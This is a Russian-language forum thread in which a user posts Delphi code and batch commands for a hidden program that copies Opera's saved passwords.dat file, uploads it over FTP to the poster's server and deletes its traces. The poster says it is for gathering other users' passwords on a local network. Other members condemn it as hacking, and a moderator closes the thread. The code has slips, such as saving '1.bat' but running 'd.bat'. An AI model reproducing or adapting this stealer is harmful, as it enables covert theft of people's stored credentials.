Уводим пароли с Operы

[Dr.Win32]

Создадим новый проект и киним следующие компоненты:idftp c indy client;memo c standart; timer c sistem.В свойствах мемо найдем графу lines и впишем туда следующие строки:
"cd %APPDATA%\Opera\Opera\ >nul
copy passwords.dat c:\passwords.dat >nul"

Теперь в обработчике OnTimer пишем следующие:"halt(0);(значение интервала должно быть равным 5000)

Теперь в обработчике formы OnCreate пишем следующие:
"application.ShowMainForm:=fals e;//скрываем форму от глаза пользователя
memo1.Lines.SaveToFile(extractfilep ath(application.ExeName)+'1.bat');//сохраняем текст из мемо1 в батник
winexec('d.bat',sw_hide);//запускаем батник в скрытом режиме
idftp1.Host:='хост';
idftp1.Port:=порт;
idftp1.Username:='свой лог';
idftp1.Password:='свой пассворд';
idftp1.Connect();
idftp1.ChangeDir('/'); //выбираем директорию
idftp1.Put('C:\\passwords.dat','pas swords.dat',true);//отправляем
idftp1.Disconnect;//разоединяемся
deletefile('passwords.dat');//уничтожаем следы действия
deletefile('1.bat');"

[Utkin]

Э-э-э. Зачем это? Где вопрос? Предложение? Или просто желание самовыразиться? Тогда будь я модератором, выписал бы горчичник за обсуждение взлома.

Зы.

Горе кодер

Действительно горе. Лучше бы сделал, так, чтобы Опера не страдала утечками памяти...

[Dr.Win32]

даная прога написана для себя чтоб брать пароли юзеров в пределах локальной сети для составления базы

[Utkin]

Сообщение от Dr.Win32

даная прога написана для себя чтоб брать пароли юзеров в пределах локальной сети для составления базы

Для чего нужна база? Как я понял без ведома, а главное желания самих юзеров... Точно горчичник

[Stilet]

чтоб брать пароли юзеров в пределах локальной сети для составления базы

Взлом. Закрыто.